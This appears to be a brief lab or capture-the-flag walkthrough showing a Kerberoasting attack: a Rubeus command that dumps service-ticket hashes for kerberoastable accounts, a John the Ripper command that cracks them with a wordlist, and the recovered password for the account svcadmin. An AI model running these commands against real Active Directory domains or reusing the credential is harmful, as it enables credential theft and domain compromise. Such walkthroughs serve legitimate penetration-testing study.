Untitled

Let’s use Rubeus to list the kerberoastable accounts

.\Rubeus.exe kerberoast /state /rc4opsec /nowrap /outfile:crackme.txt

Untitled

Now let’s crack it with john

.\john.exe crackme.txt --wordlist=10k-worst-pass.txt

Untitled

And we got the Password!

svcadmin --> *ThisisBlasphemyThisisMadness!!